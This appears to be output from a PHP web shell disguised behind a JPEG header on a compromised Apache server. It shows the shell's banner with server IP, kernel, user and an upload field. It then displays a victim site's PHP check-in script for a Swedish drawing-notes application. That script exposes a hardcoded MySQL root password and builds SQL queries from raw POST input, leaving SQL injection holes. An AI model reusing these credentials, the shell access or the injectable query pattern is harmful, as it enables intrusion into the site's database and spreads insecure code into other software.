????JFIF??x?x????'
| Server IP : 79.136.114.73 / Your IP : 216.73.216.55 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/www.notes-online.se/symbols/notes/asbest_be/ |
Upload File : |
<?php
$link = mysql_connect ("localhost", "root", "root123");
mysql_select_db ("notes");
$data = $_POST['data'];
$companyid = $_POST['companyid'];
$drawingpath = $_POST['drawingpath'];
$forvaltningsid = $_POST['forvaltningsid'];
$highestLPT = $_POST['highestLPT'];
$highestPUC = $_POST['highestPUC'];
$highestTBN = $_POST['highestTBN'];
$highestELA = $_POST['highestELA'];
if($highestLPT != "null" && $highestLPT != "NaN"){
$sql = "DELETE FROM tblNotesHighestNumbers WHERE companyid = '".$companyid."' and forvaltningsid = ".$forvaltningsid;
$result = mysql_query($sql);
$sql = "INSERT INTO tblNotesHighestNumbers VALUES(null,'$forvaltningsid','$highestLPT','$highestPUC','$highestTBN','$highestELA',$companyid)";
$result = mysql_query($sql);
}
$sql = "DELETE FROM tblLockedFiles WHERE path = '".$drawingpath."' and companyId = ".$companyid;
$result = mysql_query($sql);
$arr = split("###",$data);
for ($i = 0; $i <= count($arr); $i++) {
if($arr[$i] != ""){
$path_start_index = strpos($arr[$i],"localStorageName") + 28;
$path_end_index = strpos($arr[$i],"]",$path_start_index)-1;
$path = substr($arr[$i],$path_start_index,$path_end_index-$path_start_index);
if(substr($path,strlen("SENDTOSERVER_"),strlen($companyid)) == $companyid){
$sql = "DELETE FROM tblNotesJSONObjects WHERE path = '".$path."' and companyid = ".$companyid;
$result = mysql_query($sql);
}
$symboltype_start_index = strpos($arr[$i],"symboltype") + 22;
$symboltype_end_index = strpos($arr[$i],"]",$symboltype_start_index)-1;
$symboltype = substr($arr[$i],$symboltype_start_index,$symboltype_end_index-$symboltype_start_index);
if(substr($path,strlen("SENDTOSERVER_"),strlen($companyid)) == $companyid){
$sql = "INSERT INTO tblNotesJSONObjects VALUES(null,'".$arr[$i]."','".date("Y-m-d H:i:s")."','".$path."','".$companyid."','".$symboltype."')";
$result = mysql_query($sql);
$sql = "INSERT INTO tblNotesJSONObjects_backup VALUES(null,'".$arr[$i]."','".date("Y-m-d H:i:s")."','".$path."','".$companyid."','".$symboltype."')";
$result = mysql_query($sql);
}
//echo($sql."<br>");
}
}
echo("Filen har checkats in och data har lagts till i databasen! Glöm inte att Exportera PDF-filen också...");
?>